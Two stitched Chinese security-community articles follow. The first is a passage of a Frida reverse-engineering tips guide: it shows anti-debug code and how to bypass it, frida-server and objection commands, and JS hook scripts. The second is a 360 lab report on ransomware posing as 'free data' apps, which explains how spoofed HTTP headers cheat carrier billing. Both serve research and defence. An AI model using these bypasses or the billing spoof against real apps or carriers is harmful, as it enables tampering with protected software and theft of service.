//杀掉自己的进程
wrap_kill(wrap_getpid(),SIGKILL);
#endif
//退出
break;
}
}
} else {
LOGI("open maps error");
}
wrap_close(fd);
//休息三秒，进入下一个检查循环，也就是这个反调试一共会运作30秒，30秒后结束
loop++;
sleep(3);
}
return nullptr;
}
void anti_frida_loop() {
pthread_t t;
//创建一个线程，执行反调试工作
if (pthread_create(&t, nullptr, check_loop, (void *) nullptr) != 0) {
exit(-1);
};
pthread_detach(t);
}
想过这种反调试，得找到反调试在哪个`so`的哪里，`nop`掉创建`check_loop`线程的地方，或者`nop`掉`kill`自己进程的地方，都可以。也可以直接`kill`掉反调试进程，笔者就曾经遇到过这种情况，`frida`命令注入后，`app`调不起来，这时候用`ps
-e`命令查看多一个反调试进程，直接`kill`掉那个进程后，`app`就起来了，这个`app`是使用的一个大厂的加固服务，这个进程就是壳的一部分。
### 3.3 非标准端口连接
比如将`frida-server`启动在`6666`端口：
# ./fs1287amd64 -l 0.0.0.0:6666
使用`frida-tools`工具和`objection`分别连接的方法如下：
# frida-ps -H 192.168.1.102:6666
# objection -N -h 192.168.1.102 -p 6666 -g com.android.settings explore
效果如图所示：
图 连接非标准端口
在`python bindings`中连接的话，会稍微复杂一点点，因为`python
bindings`只认`adb`，所以要通过`adb`命令将手机的`6666`端口映射到电脑的`27042`端口：
$ adb forward tcp:27042 tcp:6666
这样`python bindings`也可以正常使用了。
### 3.4 打印`byte[]``[B`
`ByteString.of`是用来把`byte[]`数组转成`hex`字符串的函数,
安卓系统自带`ByteString`，`app`里面没有也没关系，可以去系统里面拿，这里给个小案例：
var ByteString = Java.use("com.android.okhttp.okio.ByteString");
var j = Java.use("xxxxxxx.business.comm.j");
j.x.implementation = function() {
var result = this.x();
console.log("j.x:", ByteString.of(result).hex());
return result;
};
j.a.overload('[B').implementation = function(bArr) {
this.a(bArr);
console.log("j.a:", ByteString.of(bArr).hex());
};
### 3.5 `hook`管理子进程
经常有人会问，像那种`com.xxx.xxx:push`、`com.xxx.xxx:service`、`com.xxx.xxx:notification`、`com.xxx.xxx:search`这样的进程如何`hook`，或者说如何在其创建伊始进行`hook`，因为这样的进程一般都是由主进程`fork()`出来的。
这种的就要用到`Frida`最新的`Child
gating`机制，可以参考我的这篇文章[《FRIDA脚本系列（四）更新篇：几个主要机制的大更新》](https://www.anquanke.com/post/id/177597)，官方的完整代码在[这里](https://github.com/frida/frida-python/blob/master/examples/child_gating.py)。可以在进程创建之初对该进程进行控制和`hook`，已经很多人用了，效果很好，达成目标。
### 3.6 `hook`混淆方法名
有些方法名上了很强的混淆，如何处理？其实很简单，可以看上面`ZenTracer`的源码，`hook`类的所有子类，`hook`类的所有方法，并且`hook`方法的所有重载，我这里也提供了源码和文章，[《FRIDA脚本系列（二）成长篇：动静态结合逆向WhatsApp》](https://www.anquanke.com/post/id/169315)。
### 3.7 中文参数问题
`hook`某些方法的时候，发现传进来的参数竟然是中文的，如何打印出来？如果是`utf8`还好，`Frida`的`CLI`也是直接支持`utf8`的，如果是`GBK`字符集的，目前没有找到在`js`里进行打印的方法，可以`send()`到电脑上进行打印。
### 3.8 `hook`主动注册
使用`Frida`来`hook` `JNI`的一些函数，打印出主动调用的执行路径。下面是`hook` `Google play Market`的例子：
frida -U --no-pause -f com.android.vending -l hook_RegisterNatives.js
____
/ _ | Frida 12.6.13 - A world-class dynamic instrumentation toolkit
| (_| |
> _ | Commands:
/_/ |_| help -> Displays the help system
. . . . object? -> Display information about 'object'
. . . . exit/quit -> Exit
. . . .
. . . . More info at http://www.frida.re/docs/home/
Spawning `com.android.vending`...
GetFieldID is at 0xf1108e4d _ZN3art3JNI10GetFieldIDEP7_JNIEnvP7_jclassPKcS6_
AllocObject is at 0xf10f1809 _ZN3art3JNI11AllocObjectEP7_JNIEnvP7_jclass
GetMethodID is at 0xf10f3175 _ZN3art3JNI11GetMethodIDEP7_JNIEnvP7_jclassPKcS6_
NewStringUTF is at 0xf111fc71 _ZN3art3JNI12NewStringUTFEP7_JNIEnvPKc
GetObjectClass is at 0xf10f2841 _ZN3art3JNI14GetObjectClassEP7_JNIEnvP8_jobject
RegisterNatives is at 0xf11301fd _ZN3art3JNI15RegisterNativesEP7_JNIEnvP7_jclassPK15JNINativeMethodi
CallObjectMethod is at 0xf10f3745 _ZN3art3JNI16CallObjectMethodEP7_JNIEnvP8_jobjectP10_jmethodIDz
GetStaticFieldID is at 0xf111949d _ZN3art3JNI16GetStaticFieldIDEP7_JNIEnvP7_jclassPKcS6_
GetStaticMethodID is at 0xf110e6d1 _ZN3art3JNI17GetStaticMethodIDEP7_JNIEnvP7_jclassPKcS6_
GetStringUTFChars is at 0xf11203e1 _ZN3art3JNI17GetStringUTFCharsEP7_JNIEnvP8_jstringPh
ReleaseStringUTFChars is at 0xf11207fd _ZN3art3JNI21ReleaseStringUTFCharsEP7_JNIEnvP8_jstringPKc
FindClass is at 0xf10ec7a1 _ZN3art3JNI9FindClassEP7_JNIEnvPKc
Spawned `com.android.vending`. Resuming main thread!
[Google Pixel XL::com.android.vending]-> [RegisterNatives] method_count: 0x6
[RegisterNatives] java_class: org.chromium.base.CommandLine name: nativeInit sig: ([Ljava/lang/String;)V fnPtr: 0xd454f349 module_name: libcronet.76.0.3809.21.so module_base: 0xd441f000 offset: 0x130349
[RegisterNatives] java_class: org.chromium.base.CommandLine name: nativeHasSwitch sig: (Ljava/lang/String;)Z fnPtr: 0xd454f369 module_name: libcronet.76.0.3809.21.so module_base: 0xd441f000 offset: 0x130369
[RegisterNatives] java_class: org.chromium.base.CommandLine name: nativeGetSwitchValue sig: (Ljava/lang/String;)Ljava/lang/String; fnPtr: 0xd454f3bd module_name: libcronet.76.0.3809.21.so module_base: 0xd441f000 offset: 0x1303bd
[RegisterNatives] java_class: org.chromium.base.CommandLine name: nativeAppendSwitch sig: (Ljava/lang/String;)V fnPtr: 0xd454f461 module_name: libcronet.76.0.3809.21.so module_base: 0xd441f000 offset: 0x130461
[RegisterNatives] java_class: org.chromium.base.CommandLine name: nativeAppendSwitchWithValue sig: (Ljava/lang/String;Ljava/lang/String;)V fnPtr: 0xd454f499 module_name: libcronet.76.0.3809.21.so module_base: 0xd441f000 offset: 0x130499
[RegisterNatives] java_class: org.chromium.base.CommandLine name: nativeAppendSwitchesAndArguments sig: ([Ljava/lang/String;)V fnPtr: 0xd454f4f1 module_name: libcronet.76.0.3809.21.so module_base: 0xd441f000 offset: 0x1304f1
[RegisterNatives] method_count: 0x3
[RegisterNatives] java_class: org.chromium.base.EarlyTraceEvent name: nativeRecordEarlyEvent sig: (Ljava/lang/String;JJIJ)V fnPtr: 0xd454f94d module_name: libcronet.76.0.3809.21.so module_base: 0xd441f000 offset: 0x13094d
[RegisterNatives] java_class: org.chromium.base.EarlyTraceEvent name: nativeRecordEarlyStartAsyncEvent sig: (Ljava/lang/String;JJ)V fnPtr: 0xd454fa3d module_name: libcronet.76.0.3809.21.so module_base: 0xd441f000 offset: 0x130a3d
[RegisterNatives] java_class: org.chromium.base.EarlyTraceEvent name: nativeRecordEarlyFinishAsyncEvent sig: (Ljava/lang/String;JJ)V fnPtr: 0xd454fae5 module_name: libcronet.76.0.3809.21.so module_base: 0xd441f000 offset: 0x130ae5
[RegisterNatives] method_count: 0x4
[RegisterNatives] java_class: org.chromium.base.FieldTrialList name: nativeFindFullName sig: (Ljava/lang/String;)Ljava/lang/String; fnPtr: 0xd454fb8d module_name: libcronet.76.0.3809.21.so module_base: 0xd441f000 offset: 0x130b8d
[RegisterNatives] java_class: org.chromium.base.FieldTrialList name: nativeTrialExists sig: (Ljava/lang/String;)Z fnPtr: 0xd454fbff module_name: libcronet.76.0.3809.21.so module_base: 0xd441f000 offset: 0x130bff
[RegisterNatives] java_class: org.chromium.base.FieldTrialList name: nativeGetVariationParameter sig: (Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String; fnPtr: 0xd454fc2f module_name: libcronet.76.0.3809.21.so module_base: 0xd441f000 offset: 0x130c2f
[RegisterNatives] java_class: org.chromium.base.FieldTrialList name: nativeLogActiveTrials sig: ()V fnPtr: 0xd454fd1d module_name: libcronet.76.0.3809.21.so module_base: 0xd441f000 offset: 0x130d1d
[RegisterNatives] method_count: 0x2
源码地址：<https://github.com/lasting-yang/frida_hook_libart>
### 3.9 追踪`JNI API`
地址：<https://github.com/chame1eon/jnitrace>
### 3.10 延迟`hook`
很多时候在带壳`hook`的时候，善用两个`frida`提供的延时`hook`机制：
* `frida --no-pause`是进程直接执行，有时候会`hook`不到，如果把`--no-pause`拿掉，进入`CLI`之后延迟几秒再使用`%resume`恢复执行，就会`hook`到；
* `js`中的`setTimeout(func, delay[, ...parameters])`函数，会延时`delay`毫秒来调用`func`，有时候不加延时会`hook`不到，加个几百到几千毫秒的延时就会`hook`到。 | 社区文章 |
# 勒索软件“假面”系列——免流软件
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
传送门：[勒索软件“假面”系列——代刷软件](https://www.anquanke.com/post/id/103608)
## 第一章 勒索中的“免流”
勒索软件是指启动后通过置顶自身窗口或重置锁机密码强制锁定用户桌面、使用户无法正常使用设备，并以支付解锁对用户进行勒索的软件。近年来，360烽火实验室始终密切关注勒索软件发展动向，并持续对勒索软件新技术新形式、勒索软件黑产、以及Android新版本系统在对抗勒索软件方面的新特性进行了深入研究。在对勒索软件的长期跟进中我们发现，勒索软件是一类非常擅长伪装自己的软件，为了诱导用户下载安装运行，勒索软件通常会伪装成各种极具诱惑力、通过不正规手段牟利的软件，例如游戏外挂、代刷、盗版应用、WIFI密码破解、抢红包等等，这些软件拥有一定的用户群与传播途径，勒索软件正是利用了其易吸引用户、传播快的特点玩起了“假面游戏”。
### 一、勒索软件擅于伪装后传播
截止到2018年2月，360烽火实验室共捕获到Android恶意勒索软件80万个，而其中几乎所有的勒索软件都对自己进行了伪装，对这些勒索软件分类统计后发现，勒索软件的伪装类别多达十多种，其中以外挂辅助类最为普遍，流氓软件与色情类软件次之。
图1 勒索软件伪装类别分布
### 二、特殊的伪装——免流软件
在这些伪装类别中，我们发现有一类与日常生活中不可或缺的手机流量相关的软件——免流软件，这类软件名称多为“XX免流”或“XX云免”，号称能够让用户免流量费上网，并以此吸引用户下载安装，实运行后却是勒索软件。
图2 冒充免流软件的勒索软件
在我们捕获到的勒索软件中，冒充免流软件的样本占比1.81%，虽然占比工具类低，但自成派别，数量不在少数，甚至超过了盗版软件。
大量勒索软件冒充免流软件进行传播的现象从侧面反映出了一个问题——免流软件本身占据着相当用户与传播市场。实际上确实如此，移动互联的发展推动了智能手机的网络访问量，特别是随着手机直播、在线视频、移动社交等产业的繁荣，智能手机流量的使用量不断攀升。根据工信部2018年2月发布的《2017年通信业统计公报》，2017年各月户月均移动互联网接入流量呈逐月增长的趋势，到12月已超过2G。
图3 2017年各月当月户均移动互联网接入流量增长情况
然而在国内，移动数据流量并不便宜，数据流量使用量的攀升使得部分人开始寻求廉价甚至免费的流量获取方法，免流软件应运而生并快速传播开来。截止到2018年2月，360烽火实验室共捕获到20万+个免流软件，其中部分软件的传播量已经达到了几百万次。巨大的软件数量与传播量进一步印证免流软件拥有着不小的市场，且我们在对免流软件与免流平台的分析过程中发现，免流软件已具备一定的产业规模。
## 第二章 免流软件
### 一、定义与分类
免流软件即安装后可以让用户在移动运营商网络下免流量或减少流量访问互联网的软件。免流软件根据其核心功能所在的位置可以分为本地免流与云免流，本地免流软件的核心功能环节通常位于本地，而云免流的核心功能环节则主要在VPN中完成。
#### (一) 本地免流
本地免流是指通过修改本地代理或者使用网络请求捕获与修改模块在本地修改用户网络请求（HTTP与HTTPs请求，本文均以HTTP请求为例）从而达到免流效果的方式。根据实现框架的不同，本地免流分为很多种，比较有名的有Tiny、Samp、Hap、Fmns等等，不同框架实现的免流软件对手机root权限与端口的要求不同，同时相应的免流模式语法也不同。但无论哪种框架是否需要root，最终目的都是通过一些手段修改本地的网络请求包，将免流混淆信息插入其中，从而把非免流流量伪装成免流流量。
本地免流软件主要由核心代理模块、免流模式、防跳工具三部分构成，这些模块通常都存放在软件的Assets目录下：
1. 核心代理模块。核心代理模块通常使用Tiny、Samp等开源框架在本地搭建网络代理，其主要职责是根据免流模式对设备发起的网络请求进行修改；
2. 免流模式。免流模式是免流成功的关键所在，它定义了对网络请求进行修改的规则，被核心代理模块所用；
3. 防跳工具。防跳工具即用来预防跳点的模块。跳点指的是那些未能成功免流、被计费检测系统正常进行计费了的流量。产生跳点的主要原因是部分流量不会经过本地代理，从而造成请求头修改失败。目前比较流行的防跳方式有单纯禁网与使用防跳工具，防跳工具的防跳原理与单纯的禁网不同，其还包括了修改防火墙命令，强制部分不走本地代理的流量去走本地代理，而对于部分免流系统不支持的协议（如QQ、微信等），则可以用规则将其放行，使之能正常访问网络，这种情况叫做半免。防跳工具就是用于减少跳点带来的额外流量费的工具。目前比较流行的防跳工具有扫地僧防跳与终极防跳。
#### (二) 云免流
云免流是指通过连接特定VPN服务器实现免流上网的方式。与本地免流不同，云免流用户不用自己去进行核心模块安装、防跳设置等繁琐操作，仅需要使用VPN软件连接特定免流VPN服务器即可实现免流。云免流相当于把原来本地免流的一套系统搬到了VPN服务器上，VPN服务器作为一个代理服务器，代理并修改用户设备发出的所有网络请求，进而达到用户免流量上网的目的。在云免流中有服务端与客户端之分，服务端即VPN服务器，目前搭建Linux
VPN服务器较常用的是OpenVPN开源框架；客户端即用户设备上安装的VPN连接软件，很多免流平台（VPN服务端）都为用户提供了特定的客户端软件，用户只需要安装客户端软件与服务端下发的配置文件，并在免流平台购买VPN卡密，即可通过客户端软件连接VPN来实现免流。
以某款免流平台为例：用户首先需要在免流平台购买免流套餐，包月套餐通常为几块钱不等，免流平台支持的支付形式多样，可购买多张，通常多买会有优惠政策：
图4 某云免流平台卡密购买页面
购买成功后卡密（即激活码）会返回到订单详情中，同时，客户端软件的链接也会一并提供给用户：
图5 云免流购买卡密后订单页面
用户通过链接下载客户端软件并通过卡密激活后就可以安装线路使用了。云免软件通常给用户提供了多条线路，如下图，用户可根据自己所在的运营商与地区情况选择可用的线路，只有在可用线路下才能成功免流。
图6 云免流客户端线路选择页面
### 二、两大必备因素
免流软件的存在依赖于两个必不可少的因素：免流IP、移动运营商代理服务器与计费检测系统的分离。
#### (一)免流IP
移动运营商为了方便用户访问其提供的各种服务，通常会为用户提供特定的免流优惠政策，比如，当用户用数据网络访问移动运营商掌上营业厅时不会向用户收取流量费，由此产生了一些免流量计费的IP，即免流IP。运营商计费检测系统把所有免流IP放入了一份白名单，当用户流量进入计费检测系统以后，计费检测系统会判断该用户流量访问的IP是否在白名单中，若在就不会进行扣费；
#### (二)代理-计费分离
对于运营商而言，代理服务器与计费检测系统是两个业务量都很庞大的系统，为了系统管理升级与日常维护，这两个系统被做成了分离的模块，并运行着不同的网络请求处理机制。当用户访问互联网时会向运营商代理服务器发送一条请求信息，这条请求信息的头部包含了目的IP、源IP、UA、网络协议、文件类型等详细信息，代理服务器与计费检测系统从请求头获取目的IP，并分别以此代理用户网络请求或判断用户流量是否需要计费。免流软件正是不正当利用了代理服务器与计费检测系统检测机制分离这一特点，通过自定义网络请求头，使二者从请求头中获取到的目的IP不一致，从而达到欺骗计费检测系统、免流上网的目的。同时，由于各运营商、各地区的计费检测系统检测机制存在差异，不同模式的免流软件具有不同的应用场景与地区限制。
### 三、原理
免流软件的本质是用户端的流量欺骗，而实现欺骗的基本原理就是修改设备上发起的网络请求，用伪造的请求头欺骗运营商计费检测系统从而实现免流。
图7 全局免流软件原理
防跳程序会优先处理设备发起的网络请求，根据防跳策略或禁网或放行或强制网络请求走本地代理。当网络请求经过本地代理时，本地代理会根据免流模式对该网络请求的头部信息进行修改。修改过后的网络请求经过运营商代理服务器与计费检测系统得到不一样的效果，运营商代理服务器检测到的是真实访问的IP，而计费检测系统检测到的是免流IP。
早期出现了很多种“简单粗暴”的免流模式，传播较广的有前\后缀免流、端口免流、伪彩免流、双Host（或是Host—X-Online-Host）免流等，这些免流模式分别利用了运营商提供的免流前\后缀、免流端口与免流文件类型、以及运营商不检查多个重复字段的策略。随着运营商系统不断优化升级，不同地区运营商已根据自身策略情况在其代理服务器与计费检测系统中逐渐加入了针对此类攻击的校验机制，如校验获取的Host与Host字段内容的一致性、封掉原来的137/138免流端口、一旦检测到多Host或X-Online-Host字段就不免流等。
然而，免流模式也在随着运营商计费检测系统的升级不断演变。现今多数免流模式都采用了“字段伪装”的方式，即通过某些混淆信息将特定字段伪装起来，使代理服务器能够识别该字段而计费检测系统识别不了该字段，以此来达到蒙骗计费检测系统的目的。这种混淆信息可能是一个新的请求头字段，也可能是对原有字段的修改，甚至还有可能是一个空格或一个特殊字符等。
通常情况下，运营商代理服务器只能够解析三种固定格式的请求头，对于这三种固定格式的网络请求，代理服务器从中读取IP的方式是固定的（HTTPs与HTTP请求头有差异，这里以HTTP为例）：
1. 请求方法中的Host与Host字段一致：此时运营商代理服务器直接解析请求方法[后跟的baidu.com](http://%E5%90%8E%E8%B7%9F%E7%9A%84www.baidu.com)：
2.请求方法后Host信息缺省：运营商代理服务器主动放弃从请求方法行寻找Host，转而解析Host字段内容baidu.com，并把Get后的内容作为Uri：
3.请求头中存在X-Online-Host（移动私有代理协议）字段：运营商代理服务器会优先解析X-Online-Host的内容为Host：
目前存活的免流模式绝大多数都是在以上3种固定请求头格式上做文章，通过免流模式对其进行增删改。由于运营商系统的不断升级完善，免流模式十分灵活多变，并且更新换代的速度很快，通常特定的模式只能留存很短的时间，一旦免流模式所针对的缺陷被修补，该模式将不再奏效。同时，由于运营商计费检测机制不透明，新的有效的免流模式往往要经过很多次试验才能被发现。
### 四、免流模式实例
以伪装双Host免流模式为例。伪装双Host免流模式即伪装起来的双Host字段请求头——去掉原请求头中请求方法后跟的Host，并且添加一个新的Host字段，使修改后的请求头实际上拥有两个Host字段。由于现在绝大多数运营商计费检测系统屏蔽了（不免流）双Host流量，所以必须把其中一个Host字段通过某种方式伪装起来，使计费检测系统识别不了它，具体实现方式是通过免流模式向请求头中加进混淆信息。
以一款名为“离调双Host”的Tiny免流模式为例，下图为该免流模式配置，其中http_ip表示代理服务器IP、http_port表示代理服务器监听端口、http_del表示删除原请求头中的指定字段、http_first表示按指定格式修改请求头首行。
图8 免流模式文件
设备中各应用程序发起的网络请求（除跳点外）在进入运营商代理服务器之前，会被核心模块按照以上文件配置进行修改，如下图左的请求头被修改后将会变成如下图右所示：
图9 修改前后的网络请求头对比
经该免流模式处理过之后，原HTTP请求头中出现了两个Host，其中一个Host前有两个中文字符，而请求方法行中已经没有了Host信息。根据上文提到的第（2）种固定请求头格式，对于新请求头，运营商代理服务器读取到的Host是[www.baidu.com](http://www.baidu.com)，而对于计费检测系统，因为有两个中文混淆字符，其不能从第二行开头获取Host字段标识，所以它选择从第三行的Host字段去获取Host——wap.10086.cn这个免流Host，因此最终达到了免流的目的。
以上只给出了一种经典的免流模式案例，现今存活的很多免流模式伪装方式千奇百怪，但万变不离其宗，最终的效果都是要欺骗计费检测系统去获取免流Host并以此实现免流。
### 五、定向流量卡
现在市场上有很多的“免流卡”，例如腾讯大王卡/天王卡、微博大V卡、蚂蚁宝卡等等，通常是互联网厂商与运营商合作推出的、促进本厂软件推广、增加用户粘性的手段。这类“免流卡”的主要特色是对特定来源的流量不收取流量费或一定限额内不收取流量费。以腾讯和联通合作推出的大\小王卡为例，运营商计费检测系统在检测到流量属于“腾讯系”（微信、腾讯视频、[王者荣耀](https://baike.baidu.com/item/%E7%8E%8B%E8%80%85%E8%8D%A3%E8%80%80/18752941)等）流量时，流量被自动计入包月的定向流量包，从而实现面向用户的免流。因此，与之前介绍的免流原理不同，这类“免流卡”实际上是一种定向流量包。
****
## 第三章 付费免流软件生态
### 一、完整的角色分工
免流软件发展至今已经有了成熟的生态链，这种生态链围绕着付费免流软件展开。目前付费免流软件的主要活跃场所是QQ群，我们一共找到了430个免流相关QQ群。免流QQ群在整个付费免流软件交易链中扮演着纽带角色，它为不同参与成员提供了一个咨询沟通与交易平台。在一个完整的免流QQ群中，主要包含以下几种角色：
#### (一)模式贡献者
模式贡献者是指提供免流模式的成员，这些成员负责向购买免流软件的用户提供可用的免流模式并不定时更新免流模式。因为免流模式决定了免流软件是否可用，因此这类成员是免流QQ群赖以运行的基础，一般是群主或者管理员。免流模式通常由模式贡献者自己学习编写或者从别处收购而来；
#### (二)推广代理
推广代理是指不涉及免流软件销售、仅负责对交易平台进行推广的成员，其主要职责是寻找有使用免流意向的用户，拉其加入所在QQ群，并向用户推荐咨询购买人。通常推广代理的收入来源与其成功拉进QQ群的用户数量成正比；
#### (三)分销代理
分销代理是指位于群主&管理员与用户之间的分销人，其通常出现在提供了云免流的QQ群中，成为分销代理需要先交纳一定金额的代理费。分销代理的主要任务是从群主&管理员处以低于直销价格的价钱批发云免流卡密，并以高价分销给用户。如下为一个QQ群提供的分销、加盟价格表，可以看到分销代理拿到的价格远低于用户直接从群主&管理员处购买的价格，分销代理正是利用这种价格差获利；
图10 免流QQ群拿货价格表
#### (四)加盟者
加盟者相当于高级代理，同样也要先缴纳一定金额加盟费，加盟费要高于代理费。成为加盟者后，不仅可以用比分销代理更低的价格购买免流模式与卡密，还可以像群主学习编写免流模式，并自主经营销售群主或自己编写的免流模式，其获利空间远大于推广代理与分销代理；
#### (五)用户
用户是免流软件的最终消费者，其可以从群主&管理员处直接购买免流软件，也可以通过分销代理购买。购买免流软件的用户在免流模式失效后通常可以免费获取新的免流模式；
#### (六)群主&管理员
群主与管理员作为免流QQ群的管理者负责统筹全局，除了最基本的QQ群管理、咨询答疑任务外，通常还负责直销、提供免流模式、招收代理加盟等任务。
图11免流QQ群中的信息流（蓝色）与资金流（红色）
除了出售免流软件与模式，部分免流QQ群还提供额外的App定制与服务器租赁业务，为用户提供“全方位”、“一条龙”的服务。同样，这种业务价格也不高，给用户一种“远比从运营商那里购买流量划算”的感觉。付费免流软件主打的就是“低价格”牌，以远低于运营商的价格为用户提供流量服务。实际上，这种“薄利多销”的方式带来的收入相当可观，因为免流软件是一种几乎不需要成本的软件，一方面开发成本低，免流软件框架都是通用的，只需填入新的免流模式即可，而免流模式开发门槛低，一旦学会可以无限尝试；另一方面运营成本低，维护好一个QQ群并定期更新模式或贩卖卡密即可无限获利。
### 二、免流QQ群
在我们发现的免流QQ群中，有22个是付费群，入群付费金额从0.1~10元不等，其他的是免费群，基本只要申请加群就可立即进群。这些群分布于全国各个地区，尤以广东、山东居多。此外，在这些群中甚至有6个拥有QQ群平台认证机构标签。
图12免费、付费以及具有认证机构标签的QQ群
通过对群主与成员分布分析后发现，这些QQ群的群主基本都是90后与00后，而在群成员中，男性比例远高于女性比例，90、00后成员比例远高于其他年龄段比例。免流软件的用户群普遍偏年轻化与男性化，这与用户群的收入、“黑科技”关注度有一定关联。
图13活跃度前十的免流QQ群中的性别、年龄段占比
通过对这些免流QQ群的长期观测发现，群成员数在稳步增长，免流模式也在不断更新，免流群保持着相当活跃的状态。此外我们还发现，不少免流群经营的业务并不限于免流软件，而是同时涉及了代刷代挂、游戏外挂、黑客工具等多种产业，而这些产业都是勒索软件中占比较高的伪装类别。
### 三、免流的“风险”与“暗阱”
免流软件以“减免”流量费吸引用户，实际上背后隐藏着很多风险。一方面，免流软件实质是一种利用运营商计费检测系统机制打擦边球谋取私利的行为，虽然现在没有明文法律规定禁止，但这种不规范行为极有可能受到严惩；另一方面，普通用户不易识别免流软件的真伪，盲目下载安装或付费购买有较大安全隐患。
#### (一)免流有“风险”
免流是一种“小偷”行为，一旦被查处后果严重。自2017年起，部分地区的运营商已经开始严打“流量小偷”，如广西移动2017年初发表了严打不正当使用流量的行为的公告：
图14广西移动关于严打免流软件的公告
工信部也在2017年初发表清理规范互联网网络接入服务市场的公告，VPN接入也在清理之列。无论是本地免流还是云免流在未来都有可能面临被“一锅端”的局面，窃取流量的行为极有可能为自身带来严重后果（赔款、被起诉、抹黑信誉）。
图15用户反馈的使用免流后收到来自运营商的警告或罚款短信（来自百度贴吧）
免流有效时间有限，得不偿失。由于VPN市场被整治与运营商对计费检测系统的升级完善，特定免流软件可能过一段时间就失效了。有些人花费钱财去购买免流模式与云免流卡密，但却很快就不能用了，得不偿失；
免流软件泛滥，真假难辨。出于免流软件可以免费无限使用流量的特性，免流本身就会容易吸引用户下载安装与传播，一些恶意软件开发者打着免流的噱头诱导用户下载安装，安装后却实施恶意行为，比如锁屏勒索、诱导下载安装、隐私窃取等。对于云免流，由于VPN免流服务器搭建流程简单、成本较低，恶意软件开发者甚至可以用较低的花费搭建虚假免流平台，为进一步实施恶意行为做铺垫。此外，云免流所用到的服务器绝大多数都是租赁的，有租用期限限制，很多免流平台所有者因VPN服务器租用期满就放弃了维护免流平台甚至卷款潜逃，因此造成钱财损失的用户与分销代理比比皆是。
#### (二)免流藏“暗阱”
除了锁屏勒索，还有很多其他类型的恶意软件也热衷于利用免流旗号推广传播，常见的有诱骗、隐私窃取、私自安装、恶意广告等，而由于少部分可用的免流软件还来源于各大贴吧论坛，用户在从这些地方下载未知来源的所谓的免流软件时通常会降低防备，这进一步给利用免流行恶的软件的传播带来了空间。
1. **诱骗**
这类软件启动后用“免流插件”或“免流注册”等形式诱导用户进行下载、支付、或填写隐私信息，造成用户资费消耗、隐私信息泄露甚至财产损失。下图是一款名为“TY免流”的软件，启动后显示软件注册页面，要求用户通过QQ联系开发者，在联系到开发者后，该QQ所属人要求用户支付一定金额才提供给用户注册码，但实际上该软件本身并未包含有效代码，所以是诈骗的可能性较大。对用户而言，这类付费购买真假难辨，盲目付费极有可能造成财产损失。
图16 冒充免流软件进行诱骗
2. **远控 &** **隐私窃取**
这类恶意软件伪装成免流软件诱导用户下载，启动后通常会隐藏桌面图标并在后台接收远控指令，根据远端服务器发送过来的指令监控短信或通话记录、私发信息、窃取用户隐私，给用户的隐私与财产安全带来了严重威胁。下图为一款名为“王者免流”的软件，软件启动后立即隐藏图标，并在后台接收控制指令进行拦截与转发短信、获取通讯录、私设来电转移等恶意行为。
图17 冒充免流软件远控窃取隐私
3. **私自安装**
这类恶意软件开启后从界面上看与免流软件无异，以成功搭建免流环境为由要求用户授予root权限，随后私自拷贝其他推广或恶意应用至系统目录并强制重启手机完成安装。实际上，由于root权限是某些特定模式的免流软件必备的条件，只要恶意软件以免流名义申请root，用户通常都会直接授予，而一旦被授予root权限，恶意软件相当于接管了用户设备，想干什么都可以。下图为一款名为“云流量”的应用，在获取root权限后把一个勒索子包放到了系统应用目录下，随后立即重启手机完成恶意子包的安装：
图18 冒充免流软件私自安装
4. **恶意广告**
免流软件也是恶意广告重灾区，恶意广告正好利用了免流软件易于传播的特性。有些恶意广告打着免流软件幌子实际根本没有免流功能，而有些则是重打包那些传播较广的免流软件，并在其中插入了恶意广告插件。下图为一款名为“鑫哥本地云免流”的软件，该软件具有云免功能，但启动后会定时弹出霸屏广告，此时用户不小心碰到屏幕就会下载软件，严重影响了用户对设备的正常使用：
图19 冒充免流软件插播广告
## 结束语
勒索软件冒充免流软件传播的现象已经屡见不鲜，用户设备安全收到了严重损害。免流软件作为一种不规范利用运营商计费机制的流量窃取软件，拥有着一定用户群与传播渠道。免流软件的肆意传播会给运营商与用户带来财产损失与不可预知的风险，对于运营商而言，免流软件带来的流量外泄会给企业系统安全与盈利带来不利影响；对于用户而言，诸如勒索软件一类冒充免流软件诱导下载的软件会给用户隐私财产安全带来威胁。
面对此种现状，运营商、用户都应该积极应对、减少自身损失。
运营商。运营商作为数据流量供应商与免流针对的受损方，从自身利益出发应该对免流软件“主动出击”，密切关注免流软件动态，跟进最新的免流模式原理，并及时升级完善计费检测系统，尽早预防免流软件对企业系统与盈收造成影响；
用户。免流软件本身就是一种不规范的软件，此外很多恶意软件都盯上了免流这块“沃土”，肆意使用不仅有违规被罚的风险，用户个人隐私、财产与设备安全也将面临很大的风险。建议用户谨慎使用免流软件，尽可能通过正规途径获取流量。
360烽火实验室
360烽火实验室，致力于Android病毒分析、移动黑产研究、移动威胁预警以及Android漏洞挖掘等移动安全领域及Android安全生态的深度研究。作为全球顶级移动安全生态研究实验室，360烽火实验室在全球范围内首发了多篇具备国际影响力的Android木马分析报告和Android木马黑色产业链研究报告。实验室在为360手机卫士、360手机急救箱、360手机助手等提供核心安全数据和顽固木马清除解决方案的同时，也为上百家国内外厂商、应用商店等合作伙伴提供了移动应用安全检测服务，全方位守护移动安全。 | 社区文章 |
Subsets and Splits